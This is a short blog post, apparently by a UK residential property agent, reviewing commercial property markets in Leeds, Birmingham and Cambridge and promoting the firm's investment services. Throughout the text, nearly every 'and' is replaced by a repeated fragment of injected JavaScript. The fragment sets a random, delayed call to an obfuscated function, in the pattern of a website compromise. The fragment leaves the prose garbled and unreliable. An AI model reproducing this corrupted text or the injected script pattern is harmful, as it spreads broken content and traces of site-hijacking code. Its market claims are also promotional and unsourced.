Commercial property market update

We are residential agents focussed on residential property, but it is important to also keep an eye on the commercial property market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and economic activity in the wider areas in which we operate. By doing so it shows us market trends, commercial demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hence employment opportunity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and general market sentiment.

Leeds:

The continuing improvement in the economy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and local market dynamics mean Leeds is a very attractive proposition for commercial property investment; offering good value commercial property compared to other regional markets. It is a very active andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and resilient property market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Leeds city region is bigger in economic terms than nine EU Countries, as well as being the largest financial centre outside London in the UK. There is a total of 63,000 undergraduates in Leeds, an employment pool of 400,000 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there is a £2bn development andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and investment pipeline. The commercial property market is active andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and upbeat andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the residential investment market is similar.

Birmingham:

HS2 has had a profoundly positive effect on the investment potential of the Birmingham market. The £17bn first phase linking London Euston with a new terminus in Birmingham Eastside is underway, but trains will not actually run until 2026. This summer the Birmingham Curzon Regeneration Company was launched to oversee the redevelopment of 300 acres andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 6.5 million sq ft of commercial space, there is also the national rail £600m station upgrade, an extension to the tram system, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an extension to the airport runway with the ability to now offer direct flights to China. This last factor is particularly important in expectation of seeking further investment into this market. Interestingly, the City was also tipped by US specialist corporate real estate publication, Site Selections, in its annual best to invest rankings. Birmingham was ranked no 2 behind Barcelona but in front of London in 5th place.

Cambridge:

New office developments seem to be springing up around the city. Although a small city it is internationally renowned due to its University. There is a booming industry in spin off companies from academia, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cambridge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and surrounding areas are now leading clusters for big biotech andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and life science companies. There are further plans to develop the so called golden triangle area linking Oxford, London andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cambridge.

Supply of Grade A office space is at a 10 year low which is a positive sign, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new development inside the city is restricted as big chunks of the city are either owned by the University itself or the Colleges. Hence development is sprawling out. With a pool of 28,000 students, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leading employers such as ARM, Astra Zeneca, NHS andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the University itself the city is set to benefit from further inward investment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not forgetting its proximity to London andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the South East.

As can be seen there is plenty of positive news in these Cities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not surprisingly the residential property markets are on a similar upward trajectory. At RPG we actively source new residential investment opportunities for our clients, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are active in all 3 of the above markets. Please do contact us to discuss further.